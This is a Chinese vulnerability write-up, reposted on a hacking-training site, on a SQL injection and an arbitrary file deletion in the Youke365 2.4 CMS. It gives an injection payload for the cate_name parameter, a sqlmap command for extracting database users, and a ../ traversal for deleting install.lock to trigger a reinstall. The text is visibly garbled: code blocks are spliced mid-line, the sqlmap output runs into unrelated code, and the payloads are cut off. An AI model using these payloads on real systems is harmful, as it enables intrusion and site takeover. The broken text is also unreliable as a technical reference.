当前位置:网站首页 > 黑客培训 > 正文

Youke365_2_4 一处Sql注入漏洞以及一处任意文件删除

freebuffreebuf 2018-01-08 313 0

本文来源:i_春秋

本文作者:X_Al3r

Prat 0 自白

每一天都是新的一天。
没啥吐槽的,步入正题

/system/category.php 文件一处Sql注入## 80-87行代码

        $root_id = intval(trim($_POST['root_id']));         $cate_name = trim($_POST['cate_name']);         $cate_dir = trim($_POST['cate_dir']);         $cate_url = trim($_POST['cate_url']);         $cate_isbest = intval($_POST['cate_isbest']);         $cate_order = intval($_POST['cate_order']);         $cate_keywords = trim($_POST['cate_keywords']);         $cate_description = trim($_POST['cate_description']);

110-124行代码

if ($action == 'saveadd') {             $query = $DB->query("SELECT cate_id FROM $table WHERE root_id='$root_id' AND cate_name='$cate_name'");              if ($DB->num_rows($query)) {                 msgbox('您所添加的分类已存在!');             }                 $DB->insert($table, $data);                 update_categories();                 update_cache('categories');                  $fileurl = empty($root_id) ? $fileurl .= '?act=add' : $fileurl .= '?act=add                 msgbox('分类添加成功!', $fileurl);         } elseif ($action == 'saveedit') {                 $cate_id = intval($_POST['cate_id']);                 $where = array('cate_id' => $cate_id);

首先我们需要直到,注意看$cate_name,从POST获取参数然后去掉空格。
然后$action获取到的参数为saveadd的时候先把$cate_name带入查询。
判断数据库是否存在这个名字,如果满足条件则进入msgbox('您所添加的分类已存在!');
没满足条件则添加。
注意第20行代码,我们可以肯定,他肯定是先通过一次sql语句进行查询。

漏洞利用


1.png

报错了,没有关系,我们开启mysql监测看一下是否有带入sql查询


2.png

SELECT cate_id FROM dir_categories WHERE root_id='1' AND cate_name='aaaa' and 1=1 --'


3.png

考虑到可能会因为时间过长导致cookie失效,所以建议直接使用--tech参数来指定一下注入类型。

sqlmap -r "/mnt/d/test.txt" -p cate_name --dbms=mysql --random-agent --tech B --users

结果:

Parameter: cate_name (POST)     Type: boolean-based blind     Title: AND boolean-based blind - WHERE or HAVING clause     Payload: root_id=1         $filepath = $DBak->datadir.$bakfile;          if (unlink($filepath)) {                 msgbox('文件删除成功!', $fileurl.'?act=restore');         } else {                 msgbox('文件删除失败!');         } }


4.png

OK,我们继续看第158行

首先他从get获取file参数,然后在去掉两边的空格存入$bakfile

然后拼接文件地址,这里用了datadir,我们跟过去看一下。

        public function __construct($db_host, $db_user, $db_pass, $db_name, $charset = 'utf8') {                                 $this->connect($db_host, $db_user, $db_pass, $db_name, $charset);//连接数据                 $this->datadir = ROOT_PATH.'data/dbbak/';         }


5.png

文件成功删除,可能有小伙伴会问了,这没达到任意文件删除的目的。

这只是删除掉了指定目录的任意文件。

所以,我们需要删除掉其他目录的文件。

利用../往上跳目录,例如我想删除根目录的文件就需要跳两次

payload: system/database.php?act=deletebr />如果还继续安装,请先删除data/install.lock,再继续'); }

首先在cms重装前,会判断是否有data/install.lock文件,如果有则不进去后面的代码。
没有则开始进行重装。
那么我们只需要删除掉data/install就好了

payload : system/database.php?act=deletefont-size:14px">>>>>>>黑客入门必备技能   带你入坑,和逗比表哥们一起聊聊黑客的事儿,他们说高精尖的技术比农药都好玩! 




转载请注明来自网盾网络安全培训,本文标题:《Youke365_2_4 一处Sql注入漏洞以及一处任意文件删除》

标签:

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表